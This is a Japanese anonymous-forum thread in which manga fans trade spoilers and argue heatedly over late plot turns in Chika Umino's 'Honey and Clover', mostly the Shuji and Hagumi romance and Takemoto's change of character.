羽海野チカ「ハチミツとクローバー」その48

◆ コミックス第９巻…７月１４日（金）発売 ◆
◆ アニメ第２部…６月２９日（木）〜放送中 ◆
◆ 映画…７月２２日（土）上映開始 ◆

※アニメ、映画の話題はそれぞれ専用のスレがあるのでそちらでどうぞ（>>2-3参照）※


★ このスレはsage進行です ※ﾒｰﾙ欄に半角で「 sage 」と記入。これ重要※

★ 荒らし・煽りは完全無視 ※反応するアナタも同罪です。これ常識※

★ 風紀もほどほどに ※話題の流れを変えたかったら自分から別の話題を投下する。これ鉄則※


≪前スレ≫
羽海野チカ「ハチミツとクローバー」その46
http://comic6.2ch.net/test/read.cgi/gcomic/1153007258/l50


関連スレ，頻出質問事項等は>>2-20あたりに

≪過去ログ≫
http://makimo.to:8000/cgi-bin/search/search.cgi?q=%89H%8AC%96%EC%83%60%83J&sf=2&andor=AND&H=&view=table&all=on
コミックスになっていない分のネタバレは 「ハチミツとクロ-バ-」その46
のレス番号9〜19

≪関連スレ≫
ハチミツとクローバー II　chapter.2 【ハチクロ】
http://anime.2ch.net/test/read.cgi/anime/1152568435/ （アニメ板）
【櫻井翔】ハチミツとクローバー2冊目【蒼井優】
http://tv8.2ch.net/test/read.cgi/cinema/1149597898 （映画作品・映画人板）
ハチミツとクローバーアンチスレ
http://comic6.2ch.net/test/read.cgi/csaloon/1146626902 （漫画サロン板に移転）

≪公式サイト≫
ハチクロ連載中コミック誌「コーラス」
h ttp://chorus.shueisha.co.jp
作者（羽海野チカ）
h ttp://www13.plala.or.jp/umino
アニメ
h ttp://www.hachikuro.net
映画
h ttp://hachikuro.jp

≪頻出質問事項≫
Ｑ．花本はぐみは、花本修司の姪ですよね？
Ａ．違います。花本修司のいとこの娘です。※映画でのみ「姪」設定となっています

Ｑ．登場キャラクターの身長の設定はどうなってますか？
Ａ．［はぐ １４５cm］［山田 １６７cm］［竹本 １７４cm］［森田 １７９cm］［真山 １８１〜１８２cm］

羽海野チカインタビュー

●女キャラは後付け、ストーリーは行き当りばったり
ttp://books.yahoo.co.jp/interview/detail/07145617/01.html
・キューコミで初めはカットを描いてほしいって頼まれたのが
羽海野のアピールでマンガ連載って事になった。
・初めは竹本・真山・森田の三人の学生生活とか青春物を描きたかった
・彼らの恋愛も描きたくなったので女子キャラ投入
・掲載誌を移る事になって、新しい読者の為に話を分かりやすく整理しないと
いけないからかき回しキャラの森田さんを海外に逃亡させた。
・また掲載誌を移ることになってクリスマスやら何やらのイベントをもう一回
やりたいからその為に一年分の時間を稼ぐ為に竹本を留年させた。

●真山のモデルはスガシカオの歌詞の主人公
ttp://www.s-woman.net/umino/1.shtml
「スガさんのつくった歌の中に、真山君みたいな子が出てくるときが
ときどきあるんです。多分、ご本人が自分のことを歌っているんだと
思うんですけども。ちょっと自分をどう扱っていいかわかんないみたいな
男の子が出てきて、マンガにしたら、今まで見たことない男の子に
なるんじゃないかなと」

●修とはぐの恋愛は羽海野の芸能人萌えのせい。
　竹本の糞男化は羽海野の芸能人萎えのせい。
・映画の修役の堺雅人が、最近の修の描写に影響
・映画のはぐ役の、最近のはぐの描写に影響
・アニメの竹本役と、映画の竹本役（ジャニーズ嵐の櫻井）が
　最近の竹本の描写に影響　…なことを羽海野が映画版ハチクロ本にて暴露。

乙です☆

竹本の不幸

・小学生の頃父が他界。高校で母が再婚するが、自分の進む道がわからなくなる。
　この頃からすでに彼の自分探しは始まっていた。探さない方がいいのに。
・浜美入学早々森田に中学生みたいな髪型にされ一年間振り回される。
・天才はぐに一目惚れし、己の平凡さを嘆き将来に不安を覚える。ここから真の不幸が始まる。
・今日なんで集まったんだっけ？「ぼくの誕生日ですよ」しかもツイスターゲーム。
・はぐの部屋に泊まる事になるが、夜中にベルサイユのキッチンセットを作ってと言い残しはぐ就寝。
　ただの奴隷扱いだがこれはまだ幸せだったかもしれない。むしろ絶頂期。
・森田がはぐを好きだと気付き、勝ち目が無いと悟りぼんやりする。
・夜、電話一本でクリスマスなのにバルーンアートを徹夜で作る手伝いにかりだされる。不眠でバイトへ。
・「はぐは森田となかよしだったりするのかい？」「先生…ぼくに聞かないでください」
・就職に失敗し続け学園祭用の謎の塔を一心不乱に作り続ける。この頃から鬱病気味に。
・錯乱した山田のかかと落としが直撃。
・「いるべき人が　いなくって　いなくても　どってことない人間が　ここでケーキを口に運んでいる」
　クリスマスケーキを食べながら超ネガティブ思考。そしてまたツイスターゲーム。
・卒業制作の作業中に吐血＞入院＞浪人。
・内定が決まった日に、就職先がどうやら倒産しそうだという報せが就職祝い中に届く。
・幻聴が聴こえてくる。気付いたら自転車で海へ。ここは精神崩壊の瀬戸際だったがなんとか持ちこたえた。
・ママチャリであてもなく日本列島を北上。痔になる。
・旅先で住み込みバイト中に、年下の元ヤンから「おまえ」「ばかじゃねーの」等の罵声を浴びる。
・一皮むけて旅から帰ってきてフラれる。

〜〜羽海野の暴走後〜〜

・花も買えない情けない男
・森田をねたんで、森田にはぐみを取られるくらいなら修に取られる
　ほうがマシだと、修にはぐみに愛の告白をするようたきつける
・兄貴と関係で不幸のズンドコの森田に対して、人間として
　言ってはいけないことを言う

●●コミックスになっていない分のあらすじ●●

治さなくていい、いてくれるだけでいいと精一杯告白する森田に
描けなくなったら私は死んじゃうと、病院に戻るはぐ。
病院から外へ連れ出した森田を殴る修

はぐ、修の手を握りながら
「あのねお願いがあるの　修ちゃんの人生を私に下さい　
ごめんね　返せるかもわかんないのに　こんな事言って　でも
でも･･･私描きたいのずっと　だから　一緒にいて　最後の最後まで」
「いいよ･･･返さなくていいよ　全部やるよ」と返事する修。ラブラブムード。
はぐのモノローグ
『そうだ修ちゃんはきっと私の雨だ。一緒にいると深く息ができて草や木みたいに
ぐんぐん伸びてゆけそうな気がする。 私のだいじな　だいじな　ひと』

別の場面で、森田と竹本は殴りあい。竹本は森田をねたんで
金と才能だけの人間でしかない森田にはぐを取られるくらいなら
修に取られたほうがマシだったと言う

森田は修に現金が大量に入った段ボールを
「これでアイツ（はぐみ）を治してやってくれ」と修に送るが
修はそのうち札束３つ（約300万）をゲットして、それ以外は森田に投げて返し
「金は返すがはぐは返さん！　ハハハハ　（はぐのことは）大好きさ！」
と真っ赤になりながら叫ぶ。

そんな修にキャーキャーいいながら祝福ムードの山田。
なぜか、野宮も修とはぐみカップル成立のことを理解している様子。
リカと修は抱擁の末、別れた。
真山は、修がはぐみを好きなことを大歓迎の様子で、大喜びする。

色々と乙です！
たけのこフォーローﾜﾛﾀ

あらすじだけ読むとなぜ森田とくっつかないのか不思議なくらいだな

てか三巻までしかもってないから修がはぐとなんか考えらんないよ…親的目線じゃん(^o^;それなのになぜラブに？何巻からそうなるの？

>>1-6
乙。
たけのこファンだなおまえ。
なんとなくだかそういう気がする。


>>8
本文読んだらもっと不思議だぞ。
森田といいムードのあとに、いきなり臭×はぐだから。
森田は「クソッ、勝ち目ないじゃないか」と勝手に悟ってるし
竹本は臭に対してはぐに告るようせまってるし
「いつからみんな臭×はぐに気づいてたんだ？？？？」と
読者がついていけない気分になる。

＞修はそのうち札束３つ（約300万）をゲットして、それ以外は森田に投げて返し
「金は返すがはぐは返さん！　ハハハハ　（はぐのことは）大好きさ！」
と真っ赤になりながら叫ぶ。

まだ読んでないけど、これだけで修のことぶっ殺したくなりました
ていうか意味がわからん

一応、実際読むと意味は分かる。
分かるが納得はできん。

>>6
タケノコがタケノコの分際で勝手に同じステージのつもりで
好き勝手いうのがムカツクな。

金は返すって、
300万以外は返却ってこと？
それとも後々ちょっとづつ返済してくってこと？
前者だったら臭ぶっ殺す

>>11
あらすじの通りの意味です

たけのこ森田を妬んで･･･って
いきなりそんな雑魚化しないでくれよ

>>13
またオマエか…。
竹本の糞化は、羽海野の芸能人の好き嫌いによる暴走のせいです。

これで28日の本誌ではぐが「そんなつもりじゃない」と修を拒絶したらまた壮大な祭りになりますね。

山田の乙女キャラ化以上に、竹本の卑屈キャラ化と修のロリコン化はキツイ

>>14
一応後者。
「正直助かるッ！　これは耳をそろえてキッチリ返すッ！」
と言ってたので。

臭が大学出るイミがわからん。
はぐって入院しっぱなしなわけじゃないべ？
落ち着いたら退院するっしょ？
大学のあの部屋で今まで絵描いてたようにリハビリすれば？

何のための自分探しの旅だったんだよたけのこ･･･。

修はぐエンドを知ってから初めて読んだけど、そこまで違和感を受けなかった
蛇足があるとすれば、山田がいつから好きなんですかみたいのを聞いたときに、
「境目はあるけど・・・」ってとこ。そこがなければ性愛的な感情に限られることもなかった

山田の乙女キャラは一応、
真山のバカッってつっぱってたのが
野宮の甘い対応でほどけてきた・・・と無理に自分を納得させてます

>>11
金を投げ返されて森田が「アイツのこと好きなのか？」
臭「ああ、好きさ、大好きさ！（赤面）」
負けを認め去る森田…。
その後タケノコがチャンスとばかりに森田を責め立てる。
カオルのこととはぐのことで2重に落ち込んでるのに…
死ねタケノコ！！！

>>14
いや森田は現金数千万をはぐの治療費に持ってきた。
潔く全部返さずちゃっかり300万を臭が取って、
残りは窓から捨てた。

>>17
ウミノが堺と蒼井が好きで櫻井が嫌いということ？

臭は、はぐが森田を選んだら
三年間大学の仕事を休職して
世界へ放浪の旅（←傷心旅行？自分探し？（　´,_ゝ`））
出るつもりだったのです。

自分を選んでくれたから
三年間休職して
はぐの面倒を見ることにしたのでした。

>>22
きたない大人になるため。

>>26
そうそう

で、それに釣られて「死ね！タケノコ！」とか言ってる奴も
沸いてるってこと。

「境目ははずかしいから・・・」って言い訳くさくて許せない。
これってありか？修でなく作者にむかついた。

糞キャラにはなってないけど森田が可哀相な扱いになってきたのは伊勢谷のせいなんですか？

>>27
その自分探しも
「俺を選ばないといなくなっちゃうぞ」って脅しに使うつもりだった。
でもそれをするまえにはぐの告白。

今のたけのこをどうにかするには
Aカズさんに説教してもらう
Bローマイヤ先輩に抱擁してもらう
さあどっち？

>>29
つうかその役者がどーとか知るか。
マンガ読者にしてみれば背景より作品が全て。
そこに書かれたこと以外を考慮する必要ない。

森田を選んだら、自分は保護者の立場から、森田は恋人として、2人で支える
って発想が出なかった時点で、修にはもう父親的愛は残ってないってｺﾄか

山田さんざん森田に失恋した時慰めてもらってたから、味方になってくれるかもと思っていたのに

>>31
森田はストーリーでは可哀相な扱いにはなってるけど
作者からは今も充分萌えられてると思うよ。
同人に詳しい人の意見を総合すると
作者（ウミノ☆）は、好きなキャラを絵になる不幸にして萌える
性癖があるようだし
森田は、かっこいい表情の絵がたくさんあったからね。

「忘れないね　ずっと見てる」とはぐに言われたことを
思い出しながらかっこよく去っていくシーンとか、
窓からはぐみを迎えに王子様のように現れたシーンとか
糞化した竹本（つ；Д`）　から殴られながら
憂いのある表情をしているシーンとか…。

>>36
同意。
この、裏切り・・・・森田おまえってほんと不幸な・・・

映画の役者達のコメントを見てたら、多分みんな8巻より前までしか読んでないようで
なんかちょっと悲しくなった。この展開知ったら愕然とするだろうな、特に堺。

でも山田は森はぐだと思ってたんだよね。
せめて山田は味方にってのは同意だわ。
何度も落ち込んだとき助けてもらったじゃん。

でも、最終的に竹本と森田は和解しそうだよね。
でなきゃ後味悪すぎだし。
しかし、まさか修とくっつくとは誰が予想しただろうか･･･

>>34
それは確かにそう思う。

きもいと思うかもね

山田今からでも遅くない
森田を慰めに行け
そして祝福したのを撤回してこい

堺は確か
「修はそわそわ熱い若者達をそばで見てて、自分は落ち着いてるけど落ち着いてることが逆に悲しいよね」
みたいなこと言ってたな（かなりうろ覚え）

映画って初代アニメと同じ場所で終わるのかな?
竹本が帰ってきて告白まで、と。
　
んで興味持った人が全巻買って読んだら憤死、と。

>>44
いやいやｗ
それはさすがに山田調子良すぎるだろｗｗ

>>46
ｗ

あと1話で大逆転があると信じてます。

まてまて、森田を慰めるのは修はぐを応援しながらでも出来るんだ。
しかし山田は森田を「応援」すべきだったんだ！

映画ってパート2やるのかなぁ。
臭はぐエンドならアニメも映画も見たくない。
アニメの第2シリーズも相変わらずクオリティ高いけど
臭を見るたびムカムカするわ。

今日初めて９巻読んで･･･　１３ページのはぐを見てこりゃ誰だ？
作者の思うままに進むとはいえ８巻までのワールドはナンだったのかと･･･
思わず読んでいない回があるのかとｵﾓﾀよ。

ﾃﾚﾌﾟｼｺｰﾗといい、天才肌がすぐ怪我する設定は才能の糞詰まりかと。

漏れは森田ｘはぐはあり得ない派。天才は他を喰って生きる。二人じゃ共食い。
でも臭は永遠のサポーターでいて欲しい。俺の代わりにいけるトコまで行けって。

アニメ�T期より質ががた落ちしてるよ。
スタッフは修はぐ展開でやる気なくしたにちがいねえ

応援しろとまで言わなくても手放しで祝福してほしくはなかったよね。
何も言わず複雑な表情とかで良かった。

>>49
あと3話あるでしょ。
次週あたりでカオルが戻ってきて
やっと森田も復活する。

>>52
> ﾃﾚﾌﾟｼｺｰﾗといい、天才肌がすぐ怪我する設定は才能の糞詰まりかと。
テレプシは怪我どころか…うううう（泣

あと3話もあるんだ。
それなら余裕で最後は森田はぐですよ、間違いないです。

>>44
山田は、はぐは森田を好きだったんじゃなかったの？？？
と思っていたんだけど
またこれもウミノ☆の説明不足で
ワケワカランことに、野宮が山田を説得したので無理ぽ。

野宮の説明も
『もし真山がきみを好きになってくれるスイッチがあったとして
　でもそのスイッチが、リーダーが一生闇に閉じ込められるスイッチとも
　繋がっていたとしたら、押せるかい？』（うろ覚えです酢マンコ）
みたいな説明で、わけわかんなかった。
山田は「押せないー（つ；Д`）」とギャンギャン泣いてた。

自分なりの解釈ですが
『はぐが森田を好きでも、自分の恋心をつらぬくと
誰かを一生犠牲にする（この誰かって森田？臭？はぐ？）から
恋を犠牲にすることはあるんだよ』
っていう意味なんだろうかと無理やり解釈したけど
やっぱりサッパリわからん。

はぐみと臭について野宮が理解してるのも不思議だったし。

>>3
なんでアンチスレみたいな事書いてんの？

>>35
これがいやだ。
せめてｵﾄｺ（はぐ取られたくねー）とﾊﾟﾊﾟ（でも王子さんとくっつけてやるべき？）
の間で揺れてて欲しかった。

>>57
森はぐ なんてイラネ
２人揃うとキモイし

>>58
はぐ修森田の関係は山田真山リーダー？
いくらなんでもリーダーって･･･ｗ

最終的に
はぐ→自立
森田→渡米
竹本→再び自分探し
山田→恋愛体質脱却
真山→どうでもよい
を望んでるんですが、修はぐと山田野宮は確定なんすか。

>>58
犠牲になるのは芸術だろ。
400年への挑戦ができなくなる。

>>58
そうそう、野宮のたとえ理解できない。
そういう意味なのかな？
ただ単に
AとBがあって、A>BだからAを選んだとしてもBが嫌いってことにはならないよ、
比重の問題だよ、ってことなのかもしれないと思った。
ここでのAは芸術、Bは恋。

>>58
野宮って一体何者。
ていうか何様。
その説明で山田は納得できたのか？意味わからなくてケムにまかれただけでは･･･。

野宮はケムにまくのが上手いって話か・・

山田は修道女にでもなればいいよ

たけのこの「森田に取られるくらいなら修のがマシ」ってﾜｶﾝﾈ
自分のものにならないなら、ずっと1人でいてくれっていうのなら理解できるんだけど

>>64
ニューシネマパラダイスを思い出したよ。
（青年時代の主人公の恋愛を
　主人公の恩人の爺さんが引き裂くんだが
　それは、主人公は恋なんかしてるよりも
　もっと芸術の才能を生かして羽ばたくべきだから…という考えで
　裂いたというエピソードがあった）

修の恋さえなければニューシネパラで納得できたのに。

>>32
森田を選んだらリハビリは手伝わないつもりだったんだ…うわー

>>69
逆に先生に失礼なんだけどね。
タダでさえ才能も金も手にした森田に嫉妬（裏返せば評価してる）
臭はどっかで相似形だと思ってる。
凡人でも頑張れば高根の花に手が届く！みたいな。
タケノコしね！

>>69
糞化したたけのこの言い分では、
森田は金と才能だけの男だけど
臭は優しさの男だから、臭のほうがはぐにふさわしい
みたいな発言だったんですよね。

でも、森田って金と才能だけの男っていうのが
まず「ハァ？？？　コイツ（たけのこ）、森田の何を見てたの？？」
と思ってポカーンだった。

森田って、変人で金と才能のエピソードは目立ってたけど
さりげない優しさや思いやりは持ってると思ったから。
対山田には、すごく常識人で優しかったし。

>>65
つまり「森田を選ばなかったからって森田の事好きじゃないわけじゃないよ」ってことね。
そういえばいいのに、変な例えすんなよ。

>>72
この脅しを「勝負」っていいかたしてる。
色恋ボケした臭なんてタケノコ並に醜い存在。

>>73
あなたの言い分はもっともだし
（作者の芸能人萌えなんて関係ない、読者にとっては作品がすべて）
言いたいこともすごくよくわかるが
「死ね竹本」はやめて…ウワァーンヽ(`Д´)ﾉ

森田は竹本のことも何だかんだで気にしてたっぽい描写多かったのに。
迷惑もかけてたけど。
メイン５人の中では、真山が一番森田に優しくされてないなｗ

たけのこは、森田の常識人のところを知らない。
はぐをひっかきまわす、自分をからかう（まあたまに優しいけど）、それが森田！なんだよ。
真山とかは山田がらみでしっかりしたとこしってるけど。

>>35の選択肢が修の中に無かったのが不思議で仕方ない…結局>>72って事になって臭のキャラと言うか株と言うか大暴落だよ。

人としてずっと面倒みてた親戚の子に恋人出来たからって、自分の失恋の方が大袈裟してるはぐより大事なの？

臭は本当にはぐが好きなんだろーか？orz

>>41
和解しなくていいよ
たけのこにはがっから

>>74
タケノコは大夫前から森田に嫉妬して
海外いったときも戻らなければいいとか
いろいろグロい感情出てた。
そんなタケノコに見送りに来てくれてありがとうっていう森田。
「友達」だと最後まで思ってたんだろうなぁ…

そもそも山田サイドにしか興味ない俺は
はぐと誰がくっつこうがそんな大した問題ではない

>>80
そうなんだよね・・・
まあ今までの釘バットを見る限り、
おそろしいくらい独占欲の強いｵﾄｺなのかと。

かわいがってやってた竹本にも山田にも裏切られる森田
山田が野宮の小難しい話でケムに巻かれたのから目覚めてくれないだろうか

>>84
＞おそろしいくらい独占欲の強いｵﾄｺ

そういう男が膿野さんの萌えキャラなのかも…。
真山しかり、臭しかり。

>>82
泣ける・・・
たけのこの一人旅もすげー心配してたしね。

厨房同人女が描いた同人誌を読んでるような気分だよ。
説得力のないカップル成立に
登場人物達がキャーキャー祝福してる様子なんて特に。

1巻〜9巻までまとめ買いして
今読み終えた俺が来ましたよ


9巻はマジで増水した川に
投げ捨てて来ました

ハチクロは8巻で完結って事で・・・

独占欲をこえてキモス

山田を裏切った扱いするのは言いすぎな気もするけど。
確かにちょっと残念ではあるが。
とりあえずミーハーに「いつからいつから〜？」って興味あるだけで、祝福してる訳ではないんでしょ？

リカさん、訴えたら勝てるよ

>>89
俺さんは男ですか？俺女ですか？

アマゾンとか見ると９巻マンセーしてる人多いんだよね…。
キジョ板にも「ハチクロ新刊買った。修ちゃんカッコイイ」
みたいな釣りなのかマジなのかわからないマンセー書き込みあったし。

>>91
祝福ムードって書いてあるじゃん

>>78
ムーンリバーの着メロ使われたりねｗ
でもこの2人には友情を感じる。
利害の対立ないし、互いに生計立ててるし。

山田は、はぐの芸術への恐いくらいの熱意にちょっと脅え中だから、恋愛面には多分くちだししない。
しかし森田のなぐさめくらいにはなってほしいな。

>>89
まだ9巻は大丈夫でしょｗ
10巻の1話がやばいんだからｗ

9巻は森田のシーンで引きだからな。
詐欺みたいなもんだ。

森田とたけのこがケンカしてる時に山田が2人にかかと落としして
「今つらいのははぐちゃんでしょ！取り合ってる場合じゃないのよ、みんなで支えてあげなきゃ！」
って言って欲しかった。
昔のハチクロならありそう。

>>93
アンカミスってないか？

いや 見た目だけなら
才能と金だけの男だと思うよ森田はｗ

竹本→森田は妬み
竹本→はぐは好きだけど振られた
竹本→山田は接点なさすぎてﾜｶﾝﾈ
竹本→真山はいい先輩

竹本は本当にメインの1人なのか？
友達らしい友達いないし、メイン5人ともろくな対人関係築けてないし

誰も森田に恩返ししてない。
森田を無敵超人だと思ってる山田とたけのこはともかく、
弱さを知ってるはぐみもカオルも。
これどうなのよ

>>93
20代の野郎ですよ

なに この森田オタの巣ｗ
竹本可哀想

竹本→山田は、はぐを介してしか関わってないね。

可哀相なのは裏切り者扱いされてる山田だろ！
竹本と修はウミノのせいだから叩かれてるのは

>>103
のこり3話で救済あると信じたい。

>>93
人それぞれだろ ケチつけんのイクナイよ！
臭はキモイけどな

森田に話が集中してるのは、9巻から出番が多いからじゃね？

竹本と山田は確かに全然関わりないね･･･。
この2人だけの会話シーンとかあったっけ？

おーおー
何か楽しいな

謎の人だったのが9巻で一気につきくずされたからな。

むしろハグと真山のかかわりのほうが本気で無い

>>111
いいとこいこっか？…とか

>>105
なんで？タケノコは弱ってる人間に酷いこと言ったり。
甲斐性もないくせにはぐの側にいたいとか（ポエムで先生のお叱りｗ）
とにかく自分探し後ロクデナシキャラになりさがった。

野宮が余計な話しなければ、山田は慰めにいったかもしれないのに
野宮激しく邪魔
藤原デザインへ帰れ

あぼーん推奨

ID:???O

はぐがケガするまではほとんどないね、竹本と山田。
でも確かやまだのカニ占いとめてたよたけのこが。

真山はぐと山田竹本の話を是非番外編で書いてもらいたいｗ

真山はｽﾍﾟｲﾝではぐの怪我ﾆｭｰｽを聞いても、ふ〜んだろうな

パソコンも買えない甲斐性無しの
ID:???O（携帯臭）
にはレスしないように

はぐ真山はしょうがないというか…
冷静に考えると真山は理花以外の女性を自分から見ようとしていないな。
山田が向かってくるから対処しているのみで。
　
竹本山田はチカのキャパオーバーになるから敢えて書かなかったのではないかと。

>>111
森田に病院教えたあとに
「竹本くん、ご（めんなさい）」
山田は竹本の気持ちとはぐの気持ち、そして森田の気持ちを知りながら
臭を応援してるんだよな。

あー、だからスペイン行かせたのかもね。
対応の取らせ方がわからなかったんじゃない？真山→はぐの。

>>125
行き当りバッタリ、計算ウミノならありえる。

ていうか単純に片付いた順に整理って事でしょ＞スペイン
森田アメリカ行きも整理の為だったし。

ギャグ部分で山田の美乳をみて泣いてるハグを慰めてる
真山しか二人が絡んだのは記憶に無い

>>123
一話のまだ遊び人設定だった真山は、
はぐが「今年から大学はいる」と聞いた瞬間に
笑顔で手を差し出してるから
たぶんちょっと狙ったんじゃないの？
修に牽制され、竹本のひとめぼれみて興味はそっちに移ったようだが

修を応援してるというか、はぐが修と付き合うと決めたならいいんじゃない、程度に思ってるのでは。
はぐ→森田なのに何でだろう？とは、思っても深く関わるつもりはないんじゃない

多分少女漫画板で一番早い

>>129
それ、まだ設定的に理花どころか山田すらいない頃の話ですから。
基本的に違う生物として考えた方が良いかと。

はぐと山田って仲良し設定ではあっても、キャッキャと料理とか縫い物とか一緒にするだけで
真剣な話とか相談はしなさそうだもんな

臭がリカとよりを戻す心配が完全になくなったから
真山は臭はぐを応援するんだと思う。

>>122
ちょｗ 全員かよ！

もともと山田は
森田にあそこまで人間的な対応をしてもらっといて
「でもはぐちゃんが気付いてないならそのままにしとこう
（森田に本気になった人間はボロカスにされるから）」と言ってたじゃん？
山田ですらこうなんだから、たけのこもまあ森田じゃ無理って思うんだろうな

>>134
なるほど納得

>>130
次週あたりリハビリが落ち着いた段階で
はぐにそこらへん聞くんじゃないの。
だって「友達」だもん。
そこでまだはぐに気持ちがあることを確信して
タケノコや真山も加えて大反攻作戦が始る。

あと３回分かぁ…。
さっさと終われ…('A`)

>>133
多分はぐは山田→真山すらしらないな

残り三回って確定しているの?

>>140
そういえば知らないよな、たぶんｗ
はぐって本当自分でいっぱいいっぱいって感じだったし

>>140
それは流石に、、、

真山も山田もたけのこも、森田じゃ無理って思ってる。
王子さんは一人で戦うしかなさそうだな・・・・・あ、カオルか。

ていうか、山田って
はぐ→森田、竹本→はぐは知ってたと思うけど、森田→はぐは知ってるんだっけ？

>>141
ごめん適当ｗ
普通にいけば4回なんだけど最後の方がページ数多めだろうし
10巻が間をおかず発売が決まってるので勝手に3回。

でも修は竹の子を問題にもしてないから、
戦えるとしたら森田なんだよな

今キモイのは修
今ヤバいのは臭

修ちゃんってはぐと離れると泣いたり熱出したりしてたよね。それで失恋したら重傷のはぐ置いてきぼりにしようとするなんて…
どんだけ利己的な恋心なんだろうかと。
はぐが賢い選択をしたとは思えんよ…

ｳﾐﾉさんマトモな修を返してくれ〜悪いのは竹本でも森田でも山田でもなく…臭の恋心だけだ…

>>145
それ気になってる！
真山は知ってるよね、鳥ブローチの件で。

>>145
竹本に謝ってるから知ってると思う。

はぐ→森田、森田→はぐを知ってて、修はぐ成立を知ったら普通疑問に思うし、はぐに聞いたりするものじゃないのか
気づいてないだけで両思いなんだから
はぐ→森田しか知らないなら、森田に本気になると可哀相だから放っておこうと思うのも無理ないと思うけど

ついカッとなってウミノ日記を読み漁った。

>この『真夏の夜のユメ』は
>映画「DEATH NOTE」の主題歌です
>私は原作のマンガがとても好きで
>自分にはとても創り出せない世界に
>いい意味で　ほんとうに翻弄されっぱなしでした
>最終巻読みました
>見事なラストでした
>すごいなぁ。

え？なに、これはネタで(ry

>>151
山田とはぐはそこまでの仲じゃないから

ﾊﾁｸﾛ−修の恋心＝胸ｷｭﾝﾗﾌﾞｽﾄｰﾘｰ

>>153
一緒にすんでたのに！

でも山田はにぶいって設定だからな・・・・・・・・・・・・

教えてなんてあげないんだから
自分で気づけ、バカヤローですよ

>>99
あの頃の山田さんだ・・・・

全員片思い設定っておかしくない？
森はぐは両思いじゃん。

ここはもう娘溺愛してるというはぐ父に期待するしかない
はぐを下さい！という修に出直して来い！と言って許さない父とか

>>158
え、今更？
かなり前から（ｒｙ

真山が森田→はぐを暴露して、
更にはぐが「森田今へこんでるから私の変わりに支えになって」と森田の過去暴露
こんぐらいしたら山田は動くか？

もともとﾏｽｺﾞﾐ操作みたいなので無理やり名作みたいに言われてるけど
そうでもないよな
一巻は確かにそこそこ雰囲気だしてたけど
設定破綻と絵の可愛さにごまかされがちだけど画面構成が
みんな同人誌みたいに手前画面ばっかり
臭はぐラストのやめに全員の性格ねじまげちゃってもうだめだ

>>159
後妻と腹の中の子に夢中だから無理

>>152
もうすぐ自分も見事な「糞」ラスト仲間入りですよ？ｳﾐﾉﾀﾝ

>>161
それをしたら、はぐは森田と山田をくっつけようとしてるみたいだけどねｗ

>>161
それはどっちかっていうとたけのこに言いそうだな。
そしてたけのこ反省、と。

はぐは竹本か森田のどっちかとくっつく、と思っていた自分がバカみたいです

>>164
そんな糞ラストでも実写効果で売上はうなぎのぼりでウマ―ですよ
ハチクロも映画効果で今週１位だったしな

>>164
スラダンやその日記からすると
ちゃんとラストにこだわりはありそう。
問題は臭はぐに迷いがないほど世間とずれてるかｗ

デスノートの様な結末にしていいですよ？ウミノ☆

>>166
たけのこに名誉挽回のチャンスだね。
あのまま終わったらマジでタケノコ氏ね！

　 金←森田
　　　　↓
芸術←はぐ←修→故原田　このなかで両思いなのは金と森田か？
　　　　↑
　　　たけのこ

たけのこと森田をこのままの関係で終わらせることはないと思うけど

普通の漫画家だったら
臭はぐラストにみせかけて
ちゃんと竹本か森田とくっつけると思う
自分の萌えに突っ走ったまま周りが見えないなら
このまま強引に祝福モードで終り
ちょっと違う感覚のｱﾃｸｼ作家なら
誰ともくっつかないでなんか後味悪くおわり

でも はぐは森田が好き！って完全な描写ないしなぁ〜
本人が好きなんだ とあればいいが
あくまでも 森田の前じゃ緊張しちゃったりとかだけだし

>>175
え？

残念ながら修はぐをどうにか出きる奴は、もうはぐ自身か山田くらい

>175
は？

森田の過去は、馨がたけのこに話すよ。

たけのこが森田をおしてくれるのを期待。

>>175
え？

>>175
な?

修はぐ、野宮山田、真山リカでカップル組の話は終了

ﾂﾗﾚﾅｲﾂﾗﾚﾅｲ

>>175
はい？

>>180
つうかそれ以外タケノコの存在価値ないじゃん。

はぐのファーストキスを森田に奪われてることを知ったら、修どうするんだろ

>>175
おい！

>>185
そ、そうか。

やっぱり髪が伸びて竹本は変わってしまった
山田が鉄人からあゆになってしまったように、竹本も竹本からタケノコになってしまったんだな・・・

ｹｰﾀｲ臭ってすごい威力だな！

>>175
たまにあからさまなフラグ読めない人が居るけどこういう事なのかと学習した。

皆は修と竹本のどっちに腹たててるの？

>>186
もういいよｗ

10巻の表紙が臭はぐだったら買わない。
主役5人仲良く、がいいけど変なおっさん割り込んできたから無理そう。
森田とはぐはちょっと想像が付かない。

10巻表紙はローマイヤ先輩に抱っこされるメイン5人でいい

>>192
羽☆海☆野　にきまってますよ？

>>192
腹はたててないよ。竹の子はｶﾜｲｿｽ。
臭の恋心だけは蛇足だと思ってる。

カラス天狗のカゴに乗って旅立つ森はぐ。

10巻ははぐ一人かもなぁ

くっそ・・・・堺が憎い
映画の修役がこの俳優じゃなければ・・・

そもそも映画の俳優に軽々しく影響受けてしまうような原作者が
漫画家として駄目なのはわかってる

それでも・・・　くそお・・・・

作者の、堺へのデレデレっぷりが寒いお

もうはぐとか関係無しに、森田に幸せになってほしい

この数日なんでこんな回ってんだ

でも山だって一回ｾｸｰｽしたら一気に世界広がっちゃって
あの容姿もあいまって大変なことになりそうだ
一瞬で振られる野宮

>>198
それだっ☆

>>200
堺はかわいそうだよ。
臭は見守る立場の人間、って信じきって演じてるのに
今や自分の分身と言っても良い漫画の中の修が・・・・・・・・・・・・・・

しかも羽海野に自分のせいにされるときた！

>>202
単行本派が追いついたのと
映画公開間近。

>>201
そう。みんな（今のところ修をのぞく）幸せになって欲しい。

猛ｱﾀｯｸ☆

>>206
にしても早いよな…凄い破壊力の超展開だ。

最終回までに3ケタいきそうね

ちょっとした祭状態

修だけはどうしても苦手になった
前はかなり鋤キャラだったのにな

>>206
なるほど

初期の臭なら
「ありえないけど」
はぐとくっつくのもかわいいかもって思ったさ･･･

>>210
それはどうだろう

映画公開後は加速するだろう

>>212
自分も。臭の恋さえ無ければ他の色々は別にいいし、皆好きだったのに…

論争を巻き起こすほどのすばらしい展開☆って勘違いしてたら
どうしよう

それだけ愛されてたってこったな、登場人物たちが。
それをぶっ壊したウミノはSだ。いやSとみせかけてMだ。

>>219
いまごろ釣れてにやにやしてる。
でも最後はウミノ神！っていうラストで祭になるんだよ。
ね、ウミノさん♪

>>218　勘違いしてそうだよなorz

筋は通ってないこともないが
説明不足過ぎるしイロイロと痛すぎるし
結果的にｱﾁｬｰな展開だ

修の恋愛感情にいたっては
この作品にとって究極の蛇足かと

